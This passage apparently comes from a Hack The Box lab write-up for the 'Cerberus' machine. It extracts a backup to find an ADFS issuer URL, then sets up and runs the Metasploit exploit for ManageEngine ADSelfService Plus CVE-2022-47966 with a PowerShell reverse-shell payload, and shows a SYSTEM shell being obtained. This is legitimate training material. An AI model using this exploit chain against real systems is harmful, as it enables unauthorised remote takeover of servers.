 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 320225 bytes (313 KiB)
Extracting archive: OfflineBackup_20230214064809.ezip
--
Path = OfflineBackup_20230214064809.ezip
Type = 7z
Physical Size = 320225
Headers Size = 8337
Method = LZMA2:3m 7zAES
Solid = +
Blocks = 1
    
Enter password (will not be echoed):
Everything is Ok
Files: 979
Size:       2559925
Compressed: 320225
We can now run a quick grep search through the extracted files to locate the issuer_url.
└─$ grep -i issuer_url *                         
ADSIAMIDPAuthConfigParams.txt:1 ISSUER_URL      http://dc.cerberus.local/adfs/services/trustWith all the required details gathered, we can now configure the Metasploit module and give it a run.
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
GUID => 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
ISSUER_URL => http://dc.cerberus.local/adfs/services/trust
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set Proxies socks5:127.0.0.1:8888
Proxies => socks5:127.0.0.1:8888
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set lhost tun0
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set payload cmd/windows/powershell_reverse_tcp
payload => cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > run
[*] Started reverse TCP handler on 10.10.16.141:4444 
[!] AutoCheck is disabled, proceeding with exploitation
[*] Powershell session session 1 opened (10.10.16.141:4444 -> 10.129.235.114:62132) at 2025-09-01 13:32:37 +1200
PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin> whoami
nt authority\systemThe exploit spawns a shell running as NT AUTHORITY\SYSTEM. From here, the root flag can be found at:
C:\Users\Administrator\DesktopReferences
- HTB Official Walkthrough for Cerberus
- https://0xdf.gitlab.io/2023/07/29/htb-cerberus.html